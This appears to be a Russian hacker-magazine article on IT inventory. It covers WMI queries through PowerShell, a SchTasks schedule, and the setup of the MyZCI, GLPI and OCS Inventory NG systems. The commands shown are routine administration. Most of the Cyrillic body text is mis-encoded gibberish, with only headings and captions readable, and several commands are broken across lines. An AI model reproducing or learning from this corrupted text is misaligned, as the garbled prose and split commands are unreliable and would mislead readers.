железо и софт

WMI И POWERSHELL
Â WinNT 4.0SP4 àäìèíèñòðàòîðû ïîëó÷èëè 
íîâûé èíñòðóìåíò äëÿ öåíòðàëèçîâàííîãî 
óïðàâëåíèÿ è ñëåæåíèÿ çà ðàáîòîé ðàçëè÷-
íûõ ÷àñòåé îïåðàöèîííîé ñèñòåìû  —  WMI 
(Windows Management Instrumentation, 
Èíñòðóìåíòàðèé äëÿ Óïðàâëåíèÿ Windows). 
Ïðàâäà, â ïåðâûõ âåðñèÿõ çàëîæåííûõ 

êîìïîíåíòîâ áûëî íåìíîãî (âñåãî 15). Íî â 
ïîñëåäóþùèõ Win2k+ èõ êîëè÷åñòâî óâåëè-

÷èâàëîñü âìåñòå ñ âîçìîæíîñòÿìè. Ñåãîäíÿ 
WMI äîñòóïåí äëÿ âñåõ âåðñèé ÎÑ Windows, 

âêëþ÷àÿ Se7en. Îïðàøèâàÿ ðàçëè÷íûå WMI-
êëàññû ëîêàëüíîé è óäàëåííûõ ñèñòåì, ìû 

ìîæåì ïîëó÷èòü âñþ íåîáõîäèìóþ èíôîðìà-
öèþ ïî èìåþùåìóñÿ â êîìïàíèè ïðîãðàì-

ìíîìó îáåñïå÷åíèþ è îáîðóäîâàíèþ.
Â ïðèìåðàõ ïðåäëàãàþ íå èñïîëüçîâàòü 
VBScript, JScript èëè äðóãèå ñêðèïòîâûå ÿçûêè, 

óæ ñëèøêîì îíè ãðîìîçäêè è íåóäîáíû, òåì 
áîëåå ó íàñ óæå åñòü ðîñêîøíûé PowerShell, 
ñïîñîáíûé âûïîëíèòü çà íàñ ëüâèíóþ äîëþ 
ðàáîòû (ïîäðîáíåå î PS ÷èòàé â ][ 09.2009 è 
05.2010).

Äëÿ íà÷àëà ïîëó÷èì ñïèñîê BIOS íà ïîä÷èíåí-
íûõ êîìïüþòåðàõ:

PS> Get-WMIObject Win32_BIOS 

-computerName synack.ru

Êàê òû ïîíèìàåøü, ïîñëå '-computerName' óêà-
çûâàåòñÿ èìÿ õîñòà. Õîòÿ ïðè îïðîñå ëîêàëüíîé 
ñèñòåìû ýòîò ïàðàìåòð ìîæíî îïóñêàòü, ÷òî ìû 

è áóäåì äåëàòü â äàëüíåéøåì äëÿ êðàòêîñòè. 
Íàïèñàâ ïðîñòåíüêèé ñêðèïò, ëåãêî ïåðåäàòü 

Get-WMIObject ñïèñîê ñèñòåì, ñ êîòîðûõ 
áóäåò ñîáèðàòüñÿ èíôîðìàöèÿ. Ðåçóëüòàò ïðè 
íåîáõîäèìîñòè ñîõðàíÿåì â òåêñòîâûé ôàéë äëÿ 
äàëüíåéøåãî àíàëèçà.
Àíàëîãè÷íî ïðîâîäèì îïðîñ îñòàëüíûõ ïàðà-
ìåòðîâ. Íàïðèìåð, çàïðàøèâàåì èíôîðìàöèþ 
î CPU:

PS> Get-WMIObject Win32_Processor

Ïîëíûé ñïèñîê äàííûõ, êàê ïðàâèëî, íå íóæåí, 

ïîýòîìó îòáèðàåì òîëüêî íåîáõîäèìûå ïàðà-
ìåòðû:

PS> Get-WmiObject Win32_

ComputerSystem | Select 

Manufacturer, Model

Ïîñìîòðèì, êàêàÿ ó íàñ ìàòåðèíñêàÿ ïëàòà:

PS> Win32_Baseboard | Select 

Manufacturer, Name, Product | ft -a

Êëàññû Win32_ComputerSystem, 

Win32_ComputerSystemProduct è Win32_
OperatingSystem ïîçâîëÿò ñîáðàòü îáùèå 
äàííûå ïî êîìïüþòåðó è ñèñòåìå:

PS> "127.0.0.1", "synack.ru", "pc-

01" | Check-Online |

Foreach-Object { Get-WMIObject 

Win32_ComputerSystem -computerName 

$_ }

Çàïðàøèâàåì âåðñèþ ÎÑ:

PS> Get-WmiObject Win32_

OperatingSystem | Select CSName,Buil

dNumber,ServicePackMajorVersion

Ïðè æåëàíèè ðåçóëüòàò ìîæíî ñîõðàíèòü â 
ôàéë, íàïðèìåð «Export-CliXML C:\check.xml», à 
çàòåì îòôèëüòðîâàòü èëè îáðàáîòàòü:

PS> Import-CliXML C:\check.xml | 

Out-GridView

Ïîëíûé ñïèñîê Win32_* êëàññîâ è ñâîéñòâ äî-

ñòóïåí â äîêóìåíòàöèè MSDN «Win32_Classes» 
(http://msdn.microsoft.com/en-us/library/

aa394084%28v=VS.85%29.aspx). Àëüòåðíàòèâ-
íûé âàðèàíò — âîñïîëüçîâàòüñÿ ôóíêöèåé ïî-
èñêà. Ê ïðèìåðó, ïðîñìîòðèì ñïèñîê îáúåêòîâ, â 
èìåíàõ êîòîðûõ ïðèñóòñòâóåò ñëîâî disk:

PS> Get-WmiObject -List | where {$_.

name -match "disk"}

ГОТОВЫЕ УТИЛИТЫ И ПРИЛОЖЕНИЯ
Åñëè õîðîøî ïîèñêàòü â èíòåðíåòå, ìîæíî 

íàéòè íå îäèí äåñÿòîê ãîòîâûõ WMI-ñêðèïòîâ 
íà ñàìûõ ðàçíûõ ÿçûêàõ ïðîãðàììèðîâàíèÿ, 
êîòîðûå ëåãêî àäàïòèðóþòñÿ ïîä òâîè íóæäû. 
Ìîå âíèìàíèå ïðèâëåêëî HTA-ïðèëîæåíèå 
Hardware Inventory (www.robvanderwoude.com/

hardware.php) ñ âåá-îáîëî÷êîé. Ïðîñòî ââîäèì 
èìÿ êîìïüþòåðà è ïîëó÷àåì äàííûå îá óñòà-
íîâëåííîì îáîðóäîâàíèè. Ïðè íåîáõîäèìîñòè 
ìîæíî îòðåäàêòèðîâàòü ñûðåö â òåêñòîâîì ðå-
äàêòîðå, äîïîëíèâ åãî íóæíûìè ïàðàìåòðàìè 

(îïðîñ WMI-îáúåêòîâ ðåàëèçîâàí íà VBScript).

КАК ПРОВЕСТИ ИНВЕНТАРИЗАЦИЮ ОБОРУДОВАНИЯ И ПРОГРАМ-
МНОГО ОБЕСПЕЧЕНИЯ, ОБОЙДЯСЬ МАЛОЙ КРОВЬЮ
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Ñòîðîííèìè ðàçðàáîò÷èêàìè ñîçäàí ðÿä ñïåöèàëüíûõ êîìàíäëåòîâ, 
óïðîùàþùèõ íàïèñàíèå ñêðèïòîâ. Ñêðèïò Computer Inventory Script 
(CompInv), êîòîðûé äîñòóïåí íà ñàéòå powershellpro.com, ïîçâîëÿåò 
ïîëó÷èòü èíôîðìàöèþ î æåëåçå, ÎÑ è ñîõðàíèòü âñå ñîáðàííûå äàííûå â 
Excel'åâñêèé ôàéë äëÿ äàëüíåéøåãî àíàëèçà. Ïîñëå çàïóñêà ñêðèïò çàäàñò 
íåñêîëüêî âîïðîñîâ, îòâå÷àÿ íà êîòîðûå, àäìèí âûáèðàåò ðåæèì ñáîðà 
äàííûõ. Ñïèñîê êîìïüþòåðîâ äëÿ ïðîâåðêè îïðåäåëÿåòñÿ ïðè ïîìîùè 
ñïåöèàëüíîãî òåêñòîâîãî ôàéëà, òàêæå ñêðèïò ìîæåò àâòîìàòè÷åñêè 
ïðîâåðèòü âñå ñèñòåìû èëè ñåðâåðû, âõîäÿùèå â äîìåí. Êàê âàðèàíò — 

èìÿ êîìïüþòåðà çàäàåòñÿ âðó÷íóþ. Ïî óìîë÷àíèþ èñïîëüçóåòñÿ òåêóùàÿ 
ó÷åòíàÿ çàïèñü, íî, îòâåòèâ «Yes» íà âîïðîñ «Would you like to use an 

alternative credential?», ìîæíî óêàçàòü òðåáóåìóþ ó÷åòíóþ çàïèñü.
×òîáû çàòåì íå çàïóñêàòü ñîçäàííûé ñêðèïò ñàìîñòîÿòåëüíî, ïîðó÷èì ýòî 

SchTasks. Íàïðèìåð:

> SchTasks /CREATE /TN CheckScript /TR "powershell.exe ̀

-noprofile -executionpolicy Unrestricted ̀

-file check.ps1" /IT /RL HIGHEST /SC DAILY

Â ðåçóëüòàòå ñîçäàåòñÿ çàäàíèå ñ íàçâàíèåì CheckScript, êîòîðîå áóäåò 
åæåäíåâíî âûïîëíÿòü PS-ñêðèïò check.ps1, ïðè÷åì ñ íàèâûñøèì ïðèîðè-
òåòîì.

Âìåñòå ñ ñèñòåìîé èíâåíòàðèçàöèè îáîðóäîâàíèÿ è óñòàíîâëåííûõ ïðè-
ëîæåíèé NetPoint (www.neutex.net) ïðåäëàãàåòñÿ íàáîð PS-ñêðèïòîâ (Get-
Net*), ïðåäíàçíà÷åííûõ êàê ðàç äëÿ ñáîðà îïðåäåëåííîãî òèïà äàííûõ 
î ïîä÷èíåííûõ ñèñòåìàõ. Íàïðèìåð, ïðîñìîòðèì íàëè÷èå ñâîáîäíîãî 
ìåñòà íà õàðäå:

PS> Get-NetLogicalDisk -DriveType "Local Disk" 

| where { $_.FreeSpace / $_.Size -lt .10 } | % { 

$_.ComputerSystemName }

Òåïåðü ïîïðîáóåì ñîáðàòü èíôîðìàöèþ îá óñòàíîâëåííûõ ïðîãðàììàõ:

PS> Get-NetProgram -System synack.ru -Uninstalled $False 

| % { $_.DisplayName } | sort -unique

Âñåãî â ïîñòàâêó âõîäèò 20 êîìàíäëåòîâ.
Äîñòóïíà áåñïëàòíàÿ âåðñèÿ NetPoint Express Edition, êîòîðàÿ ðàáîòàåò â 
32/64-áèòíûõ WinXP/2k3/2k8/Vista/Se7en, åå ìîæíî ïðèìåíÿòü â ñåòÿõ 
ëþáîãî ðàçìåðà. Äëÿ óñòàíîâêè NetPoint ïîíàäîáèòñÿ íàëè÷èå PS 2.0, IIS è 
SQL-ñåðâåðà (äîñòàòî÷íî Express Edition).
Êñòàòè, ñïèñîê óñòàíîâëåííûõ ïðîãðàìì ìîæíî ïîëó÷èòü, ïðîñòî ïðî÷è-
òàâ íóæíóþ âåòêó ðååñòðà:

PS> Get-ItemProperty HKLM:\SOFTWARE\Microsoft\

Windows\CurrentVersion\Uninstall\* | Format-Table 

DisplayName,Publisher | Out-GridView

Êîìàíäëåò Out-GridView âûâîäèò äàííûå â îòäåëüíîì îêíå ñ âîçìîæ-

íîñòüþ ïîèñêà è ñîðòèðîâêè.

МИНУСЫ ИСПОЛЬЗОВАНИЯ СКРИПТОВ
Åñëè ñáîð äàííûõ ïðè ïîìîùè WMI/PowerShell äîâîëüíî ïðîñò, òî âñå 
îò÷åòû è èçìåíåíèÿ â êîíôèãóðàöèÿõ ïðèõîäèòñÿ êîíòðîëèðîâàòü 
âðó÷íóþ. Êîíå÷íî, ìîæíî óñëîæíÿòü ñâîè ñêðèïòû, ïûòàÿñü àâòîìàòèçè-

ðîâàòü ïðîöåññ, íî íå êàæäûé çàõî÷åò òðàòèòü íà ýòî âðåìÿ. Çäåñü ñòîèò 
íàïîìíèòü, ÷òî Microsoft ïðåäëàãàåò íåîáõîäèìóþ ôóíêöèîíàëüíîñòü 
â SCCM (System Center Configuration Manager), î êîòîðîì ìû óæå ïèñàëè 

â íîìåðàõ 08.2009, 09.2009 è 01-02.2010. Íî â òåõ ñëó÷àÿõ, êîãäà â ðàñïîðÿ-
æåíèè àäìèíà íàõîäÿòñÿ òàêæå *nix ñèñòåìû, âñåâîçìîæíûå ðîóòåðû 
è ïðî÷åå îáîðóäîâàíèå, êîòîðîå íåîáõîäèìî ó÷èòûâàòü, WMI — óæå íå 
ïîìîùíèê. Êðîìå òîãî, îñòàåòñÿ ïðîáëåìà âèçóàëüíîãî ïðåäñòàâëåíèÿ 
äàííûõ è îò÷åòîâ. Çäåñü ïðèäåòñÿ ïðèáåãíóòü ê ñòîðîííèì ïðîãðàììàì (â 

òîì ÷èñëå ðàñïðîñòðàíÿåìûì ïîä ñâîáîäíûìè ëèöåíçèÿìè), áëàãî, åñòü 
èç ÷åãî âûáèðàòü.

СИСТЕМА ИНВЕНТАРИЗАЦИИ MYZCI
Ìíîãèå, êòî ïðîáîâàë ñèñòåìó èíâåíòàðèçàöèè zCI (zci.sf.net), íàõîäèëè 

åå äîâîëüíî óäà÷íûì ðåøåíèåì, íî åé íå õâàòàëî âîçìîæíîñòè çàíîñèòü 



SYN/ACK
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äàííûå âðó÷íóþ è ëîêàëèçîâàííîãî èíòåðôåé-
ñà. Êîíå÷íî, ýòî íå êðèòè÷åñêèå ìîìåíòû, íî 
åñòü è äðóãèå ìåëî÷è. Íàïðèìåð, íåëüçÿ óäàëèòü 
óñòðîéñòâî ÷åðåç âåá-èíòåðôåéñ — íåîáõîäè-
ìî âðó÷íóþ ñîñòàâèòü SQL-çàïðîñ íà î÷èñòêó 
äàííûõ èç òàáëèö. Ñèñòåìà èíâåíòàðèçàöèè 
MyZCI (sf.net/projects/myzci) ÿâëÿåòñÿ ôîðêîì 
zCI. Ðàçðàáîòêîé çàíèìàåòñÿ Þðèé Âèííèê, 
îí äîâåë zCI äî íóæíûõ êîíäèöèé: èíòåðôåéñ 
ïåðåâåäåí íà ðóññêèé è óêðàèíñêèé ÿçûêè, 
äîáàâëåíû íîâûå ïîëÿ â òàáëèöû (íàïðèìåð, 

ðàçìåùåíèå êîìïüþòåðà) è óïðîùåíî óïðàâëå-
íèå. Äëÿ ðàáîòû MyZCI ïîòðåáóåòñÿ ëþáîé âåá-
ñåðâåð ñ ïîääåðæêîé PHP (ñ PECL, PHP Extension 
Community Library) è MySQL.
Ðàñïàêîâûâàåì àðõèâ myzci-1.2.1.zip â êîðíåâîé 
êàòàëîã âåá-ñåðâåðà è â ôàéëå zciconfig.php 
óêàçûâàåì ïàðàìåòðû äîñòóïà ê MySQL:

$ sudo nano zciconfig.php

return dbx_connect(DBX_MYSQL,"local

host","zci","zci","passwd");

×òîáû ñîçäàòü òàáëèöû â ÁÄ, èñïîëüçóåì ñêðèïò 
mysqlscript.sql, íàõîäÿùèéñÿ â êàòàëîãå engine. 
Çàïèñè âíóòðè íóæíî ïðèâåñòè â ñîîòâåòñòâèå 
ñ äàííûìè:

$ sudo nano mysqlscript.sql

create database zci;

...

grant all on zci.* to 

'zci'@'localhost' identified by 

'passwd';

# Åñëè íå ïëàíèðóåòñÿ äîñòóï ê ÁÄ ñ 

äðóãèõ ñèñòåì, ïîñëåäíþþ ñòðîêó êîì-

ìåíòèðóåì

# grant select,delete,insert,update 

on zci.* to 'zci'@'%' identified by 

'zci';

Ëîêàëèçàöèÿ èíòåðôåéñà ïðîèçâîäèòñÿ óñòà-
íîâêîé ïåðåìåííîé “$Lang” â çíà÷åíèå “ru” â 
ôàéëå langconfig.php.
Äëÿ ñáîðà èíôîðìàöèè â Windows-ñèñòåìå 
èñïîëüçóåòñÿ Windows Script Host, â Linux — 

lshwclient íà Java. Âñå êîìïîíåíòû íàõîäÿòñÿ â 
ïîäêàòàëîãå add-ons è engine. Çäåñü æå ëåæàò MS 

Windows Scripting Host 5.6 è MS WMI Core 1.5, 
êîòîðûå íåîáõîäèìû äëÿ ðàáîòû êëèåíòñêîé 

÷àñòè â Win95/98/NT4. Ïåðåä ðàçâåðòûâàíèåì 
â ôàéëàõ takedata.js è lshwclient.java ñëåäóåò 

èçìåíèòü çíà÷åíèå ïåðåìåííîé MyZCIpath è 
MyZCIserver, ÷òîáû îíà óêàçûâàëà URL ñåðâåðà.

Ïðîöåññ íàñòðîéêè êëèåíòñêîé ÷àñòè íà êîíå÷-
íûõ ñèñòåìàõ óïðîùåí. Òàê, ñêðèïò install.sh, 
èñïîëüçóåìûé ïðè óñòàíîâêå â Linux, ïðîâåðÿåò 

íàëè÷èå ïàêåòîâ lshw, jdk è read-edid (èíôà î 
ìîíèòîðå) è ïðè èõ îòñóòñòâèè âûäàåò ïîÿñíè-
òåëüíîå ñîîáùåíèå. Äàëåå ïðîèñõîäèò ñáîðêà 
Java-êëèåíòà è óñòàíîâêà çàäàíèÿ cron. Ïîñëå 
ðàçâåðòûâàíèÿ MyZCI íóæíî ïîäêëþ÷èòüñÿ 

ê ñåðâåðó ñ óäàëåííîé ñèñòåìû è çàðåãèñòðè-
ðîâàòü êîìïüþòåð, íàæàâ ñîîòâåòñòâóþùóþ 
ññûëêó íà ãëàâíîé ñòðàíèöå. Èíôîðìàöèÿ 

î íîâîé ñèñòåìå äîëæíà ïîÿâèòüñÿ â áàçå 
MyZCI. Ñêà÷èâàåì ñ ãëàâíîé ñòðàíèöû àðõèâ ñ 
êëèåíòñêîé ÷àñòüþ è çàïóñêàåì óñòàíîâùèê. 
Ïîñëå ÷åãî ñêðèïòû íà÷íóò îòñûëàòü äàííûå íà 
ñåðâåð.

Èíòåðôåéñ ïðåäåëüíî ïðîñò è ïîçâîëÿåò âûâî-
äèòü äåòàëüíóþ èíôîðìàöèþ î æåëåçå, âíîñèòü 
è ðåäàêòèðîâàòü äàííûå î êîìïüþòåðàõ, 

Получаем список WMI-объектов

Ïðîåêò GLPI
GLPI (Gestion Libre de Parc Informatique, glpi-project.org) — åùå îäèí ïðîåêò, êî-
òîðûé ïîëüçóåòñÿ çàñëóæåííîé ïîïóëÿðíîñòüþ ó àäìèíîâ. Êðîìå çàäà÷ ïî ó÷åòó 
êîìïüþòåðîâ è êîìïëåêòóþùèõ, îí ïîçâîëÿåò õðàíèòü äàííûå ïî îñòàëüíîìó 
«õîçÿéñòâó», âêëþ÷àÿ ðàñõîäíûå ìàòåðèàëû. Â îòëè÷èå îò OCSNG, àäìèíèñòðàòîð 
ñàìîñòîÿòåëüíî íàïîëíÿåò áàçó óñòðîéñòâ, èñïîëüçóÿ ëîêàëèçîâàííûé âåá-èí-
òåðôåéñ. Íî ïðîáëåìà ýòà ðåøàåòñÿ çà ñ÷åò èñïîëüçîâàíèÿ ïëàãèíà, èíòåãðèðó-
þùåãî GLPI ñ OCSNG. Ïîýòîìó èõ ÷àñòî óñòàíàâëèâàþò âìåñòå. Äëÿ âêëþ÷åíèÿ 
ïîääåðæêè íåîáõîäèìî ïåðåéòè â «Óñòàíîâêè - Îáùèå» è ïåðåêëþ÷èòü «Àêòèâèðî-
âàòü ðåæèì OCSNG» â çíà÷åíèå «Äà». Ïîñëå ýòîãî â ìåíþ ïîÿâèòñÿ íîâàÿ âêëàäêà 
«Ðåæèì OCSNG», â êîòîðîé ìîæíî ñèíõðîíèçèðîâàòü äàííûå.
Íà îñíîâå GLPI ëåãêî îðãàíèçîâàòü ñëóæáó òåõíè÷åñêîé ïîääåðæêè ïîëüçîâà-
òåëåé, ÷òî î÷åíü óäîáíî, âåäü âìåñòî çâîíêà þçåð îñòàâëÿåò çàÿâêó, êîòîðàÿ ðåãèñ-
òðèðóåòñÿ ñèñòåìîé. Çàòåì IT-ïîäðàçäåëåíèå åå îáðàáàòûâàåò. Ýòî äèñöèïëèíè-
ðóåò ïîëüçîâàòåëåé — îíè ïåðåñòàþò çâîíèòü ïî ìåëî÷àì, à ó àäìèíîâ ïîÿâëÿåòñÿ 
áàçà îáðàùåíèé äëÿ îò÷åòà î ïðîäåëàííîé ðàáîòå. Íî âîçìîæíîñòè GLPI ýòèì íå 
îãðàíè÷èâàþòñÿ. Îí ïîçâîëÿåò ñîçäàòü áàçó çíàíèé, ñîñòîÿùóþ èç ñòàòåé, âåñòè 
ó÷åò ïîñòàâùèêîâ, äîãîâîðîâ. Ñèñòåìà ñíàáæåíà áîëüøèì êîëè÷åñòâîì ñàìûõ 
ðàçíûõ îò÷åòîâ ñ âîçìîæíîñòüþ ýêñïîðòà ðåçóëüòàòà â ôàéë ôîðìàòà PDF, CSV 
èëè SLK. Ïîääåðæèâàåòñÿ ñèíõðîíèçàöèÿ êàëåíäàðÿ ïî ïðîòîêîëàì iCal, Webcal. 
Ôóíêöè îíàëüíîñòü ëåãêî ðàñøèðÿåòñÿ çà ñ÷åò ïëàãèíîâ, äîñòóïíûõ íà ñàéòå 
ïðîåêòà (plugins.glpi-project.org). Êðîìå OCSNG ìîæíî èìïîðòèðîâàòü äàííûå ñ 
ñåðâåðà Cacti èëè Nagios.
Ïàêåò GLPI èìååòñÿ â ðåïîçèòàðèÿõ îñíîâíûõ *nix äèñòðèáóòèâîâ. Óñòàíîâêà ïðè 
ïîìîùè èñõîäíûõ òåêñòîâ ñòàíäàðòíà äëÿ ïðèëîæåíèé, íàïèñàííûõ íà PHP è 
òðåáóþùèõ íàëè÷èÿ âåá-ñåðâåðà è MySQL.

 122  

Смотрим список установленных 
программ с использованием Out-
GridView



XÀÊÅÐ  06  /137/  10  123  123 

ãðóïïèðîâàòü, èñêàòü ñèñòåìû ïî îïðåäåëåííîìó êðèòåðèþ 
(íàïðèìåð, òèï âèäåîêàðòû è ìîíèòîð), îòñëåæèâàòü èçìå-
íåíèÿ. Ìåíþ àäìèíèñòðàòîðà ïîçâîëÿåò îïðåäåëÿòü ñòàòóñ 
(çàêðåïëåí, àðåíäà) è ìåñòîíàõîæäåíèå ñèñòåìû.

СИСТЕМА OCS INVENTORY NG
Ðåøåíèå OCS Inventory NG (OCSNG, Open Computers and 
Software Inventory New Generation, ocsinventory-ng.org) 
ïîçâîëÿåò ïðîèçâåñòè èíâåíòàðèçàöèþ êîìïëåêòóþùèõ è 
ïðîãðàììíîãî îáåñïå÷åíèÿ, óñòàíîâëåííûõ íà êîìïüþòåðàõ 
â ëîêàëüíîé ñåòè, è îòñëåæèâàòü èõ èçìåíåíèÿ, ïåðèîäè÷åñ-
êè ïîëó÷àÿ äàííûå î êîíôèãóðàöèè ñèñòåì. Åùå îäíîé ïîëåç-
íîé ôóíêöèåé ÿâëÿåòñÿ âîçìîæíîñòü óäàëåííîé óñòàíîâêè 
ïðîãðàìì è âûïîëíåíèÿ êîìàíä. Äëÿ ñáîðà èíôîðìàöèè íà 
êëèåíòñêèå êîìïüþòåðû óñòàíàâëèâàåòñÿ ïðîãðàììà-àãåíò. 
Àãåíò äîñòóïåí ïðàêòè÷åñêè äëÿ âñåõ âåðñèé Windows îò 95 

äî 2k8R2, Linux, Mac OS X, *BSD, Solaris, IBM AIX è HP-UX. Âñå 
ñîáðàííûå äàííûå àãåíòû îòïðàâëÿþò íà ñåðâåð óïðàâëåíèÿ 
(management server) â âèäå XML-ïîòîêà, ñæàòîãî ïðè ïîìîùè 
áèáëèîòåêè Zlib. Äëÿ ïåðåäà÷è èñïîëüçóåòñÿ ñòàíäàðòíûé 
ïðîòîêîë HTTP/HTTPS, ïîýòîìó ïðîáëåì ñ firewall'îì îáû÷-
íî íå âîçíèêàåò. Ïðè ïîìîùè àãåíòîâ ðåàëèçîâàíà ôóíêöèÿ 
"IP discovery", êîòîðàÿ ïîìîãàåò íàõîäèòü âñå ñåòåâûå è ïåðè-
ôåðèéíûå óñòðîéñòâà, ðàáîòàþùèå â ëîêàëêå, â òîì ÷èñëå 
òå, íà êîòîðûå íåëüçÿ óñòàíîâèòü àãåíòà (ñâèò÷è, ïðèíòå-
ðû, web-êàìåðû è ò.ä.) Àãåíòû ñêàíèðóþò ñåòü â ïîèñêàõ 
ïîäîáíûõ óñòðîéñòâ è îòïðàâëÿþò ñâåäåíèÿ î íèõ íà ñåðâåð 
äëÿ àíàëèçà.
Âåðñèÿ äëÿ Windows íàïèñàíà íà C++, *nix âàðèàíò — íà 
Perl è Ñ.
Ñåðâåðíàÿ ÷àñòü OCSNG âêëþ÷àåò â ñåáÿ ÷åòûðå êîìïîíåíòà, 
êîòîðûå íåîáÿçàòåëüíî äîëæíû áûòü óñòàíîâëåíû íà îäíîì 
ñåðâåðå. Ýòî ÑÓÁÄ (MySQL) äëÿ ñáîðà äàííûõ, à òàêæå âåá-
ñåðâåð, êîòîðûé ìîæåò èãðàòü îäíó èç òðåõ ðîëåé:
• Ñëóæáà ñâÿçè — îáåñïå÷èâàåò ñâÿçü ïî ïðîòîêîëó HTTP 
ìåæäó ñåðâåðîì áàçû äàííûõ è ïðîãðàììàìè-àãåíòàìè 
(Apache 1.3.X/2.X ñ èíòåãðèðîâàííûì Perl, â Debian/Ubuntu 
ïàêåò libapache-dbi-perl);
• Ñëóæáà ðàçâåðòûâàíèÿ — õðàíåíèå óñòàíîâî÷íûõ ôàéëîâ 
ïðîãðàìì-àãåíòîâ (ëþáîé âåá-ñåðâåð ñ ïîääåðæêîé SSL);
• Êîíñîëü óïðàâëåíèÿ — ïðîñìîòð ñîáðàííûõ äàííûõ â áðàó-
çåðå (âåá-ñåðâåð ñ ïîääåðæêîé PHP ñ ZIP è GD).
Ñåðâåðíàÿ ÷àñòü OCSNG ìîæåò áûòü óñòàíîâëåíà íà êîìïüþ-
òåð, ðàáîòàþùèé ïîä óïðàâëåíèåì Win2k/XP/2k3, Linux, 
*BSD, Solaris, IBM AIX è MacOS X.

УСТАНОВКА OCSNG
Íóæíûé ïàêåò èìååòñÿ â ðåïîçèòîðèÿõ áîëüøèíñòâà äèñ-

òðèáóòèâîâ, õîòÿ îáû÷íî ýòî íå ñàìàÿ àêòóàëüíàÿ âåðñèÿ. 
Ñàìîñòîÿòåëüíàÿ ñáîðêà èç èñõîäíûõ òåêñòîâ ïðè âíèìà-
òåëüíîì ïîäõîäå íå äîëæíà âûçâàòü òðóäíîñòåé. Óñòàíîâî÷-
íûé ñêðèïò setup.sh, íàõîäÿùèéñÿ âíóòðè àðõèâà, ïðîâåðèò 
íàëè÷èå òðåáóåìûõ êîìïîíåíòîâ è âûäàñò ðåêîìåíäàöèè ïî 

óñòðàíåíèþ ïðîáëåì, åñëè â ýòîì áóäåò íåîáõîäèìîñòü.
Â Debian/Ubuntu äëÿ ðó÷íîé ñáîðêè íóæíî íàêàòèòü ïàêåòû:

$ sudo apt-get install libapache2-mod-perl2 

libdbi-perl libapache-dbi-perl libdbd-mysql-

perl libsoap-lite-perl libxml-simple-perl 

libnet-ip-perl libcompress-zlib-perl php5-gd

È XML::Entities èç õðàíèëèùà CPAN:

Информация об оборудовании, собранная 
OCSNG

На прилагаемом 
к журналу диске 
ты найдешь видеоро-
лик, в котором пока-
зано, как установить 
и настроить связку 
OCSNG + GLPI.

dvd

DVD

Ëîêàëèçàöèÿ 
OCSNG/GLPI
Èíòåðôåéñ OCSNG ëîêàëèçîâàí, íî âñå æå åñòü 
íåáîëüøèå ïðîáëåìû, ïðèâîäÿùèå ê òîìó, ÷òî 
ðóññêîÿçû÷íûå íàçâàíèÿ ïðîãðàìì, óñòàíîâ-
ëåííûõ â Windows, îòîáðàæàþòñÿ íåêîððåêòíî. 
Äåëî â òîì, ÷òî â OCSNG èçíà÷àëüíî èñïîëüçó-
åòñÿ êîäèðîâêà ISO-8859-1 (äëÿ îòîáðàæåíèÿ CP-
1251), â GLPI — UTF8. Ïðè èìïîðòå äàííûõ OCSNG 
-> GLPI òàêæå âîçíèêàþò ïðîáëåìû ñ êîäèðîâ-
êàìè. Èçâåñòíî äâà ïóòè ðåøåíèÿ:

1. Íà ëåòó ïðè ýêñïîðòå ìåíÿòü äàííûå è èñ-
ïîëüçóåìûå øðèôòû. ×òîáû ñäåëàòü ýòî, íóæíî 
ïîïðàâèòü ôàéë export.function.php è ïðè 
ïîìîùè ïàêåòà ttf2pt1 ñîçäàòü íîâûå øðèôòû, 
ïîääåðæèâàþùèå UTF8.
2. Èçíà÷àëüíî íàó÷èòü OCSNG ðàáîòàòü ñ UTF8. 
Äëÿ ýòîãî ïðåäëîæåíû ïàò÷è è ïåðåñîáðàííûå 
óñòàíîâî÷íûå ôàéëû äëÿ Windows. Ñêà÷àòü èõ 
ìîæíî ñ ftp://linvinus.ru/ocs. Çäåñü æå íàõîäÿò-
ñÿ ãîòîâûå deb-ïàêåòû äëÿ Ubuntu/Debian.
Êðîìå òîãî, â ôàéëå inc/ocsng.class.php ñëåäóåò 
èçìåíèòü ñòðîêó «$this->dbenc="latin1";» íà 
«$this->dbenc="utf8";» è â /etc/php5/apache2/
php.ini ïðîâåðèòü óñòàíîâêó «default_charset = 
"utf-8"».

• Полный список 
Win32_* классов 
можно найти в 
документации MSDN 
«Win32_Classes» — 
msdn.microsoft.com

• Сайт проекта 
NetPoint — neutex.net

• Сайт проекта MyZCI 
— sf.net/projects/myzci

• Сайт проекта zCI — 
zci.sf.net

• Сайт проекта OCSNG 
— ocsinventory-ng.org

links

HTTP://WWW

INFO

info
Многие утилиты, 
выпускаемые под 
коммерческими ли-
цензиями, использу-
ют для сбора данных 
именно WMI — это 
удобно, так как не 
требуется установка 
агентов на удаленные 
системы.

Приложение Hardware Inventory
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SYN/ACK

$ sudo cpan -i XML::Entities

Â ïðîöåññå óñòàíîâêè áóäóò ñîçäàíû âñå íåîáõîäèìûå êîíôèãóðàöèîííûå 
ôàéëû è àëèàñû äëÿ âåá-ñåðâåðà. Òàê êàê ôàéëû, êîòîðûå ìîãóò ðàñïðî-
ñòðàíÿòüñÿ ïðè ïîìîùè OCSNG, ÷àñòî èìåþò áîëüøîé ðàçìåð, ñëåäóåò 
óñòàíîâèòü íóæíûå çíà÷åíèÿ ïåðåìåííûõ post_max_size è upload_max_
filesize â ôàéëàõ /etc/php5/apache2/php.ini (ïî óìîë÷àíèþ — 8 è 2 Ìá) 
è ocsinventory-reports.conf. Ïîñëå âñåõ íàñòðîåê âûçûâàåì áðàóçåð è 
çàïóñêàåì óñòàíîâî÷íûé ñêðèïò http://localhost/ocsreports/install.php, 
ãäå óêàçûâàåì ïàðàìåòðû äîñòóïà ê ÁÄ. Â ïðîöåññå óñòàíîâêè äëÿ äîñòóïà 
ê áàçå ocsweb áóäåò ñîçäàíà ó÷åòíàÿ çàïèñü «ocs» ñ ïàðîëåì «ocs». Åñëè 
äîñòóï ê áàçå íå îãðàíè÷åí ëîêàëüíîé ñèñòåìîé, â öåëÿõ áåçîïàñíîñòè 
äåôîëòíûé ïàðîëü ñëåäóåò èçìåíèòü. Äëÿ óñòàíîâêè àãåíòà â Linux ïîòðå-
áóåòñÿ íàëè÷èå íåêîòîðûõ ìîäóëåé Perl (XML è Zlib) è dmidecode.

$ sudo apt-get install libcompress-zlib-perl libnet-ip-

perl libnet-ssleay-perl libwww-perl libxml-simple-perl 

po-debconf ucf dmidecode pciutils

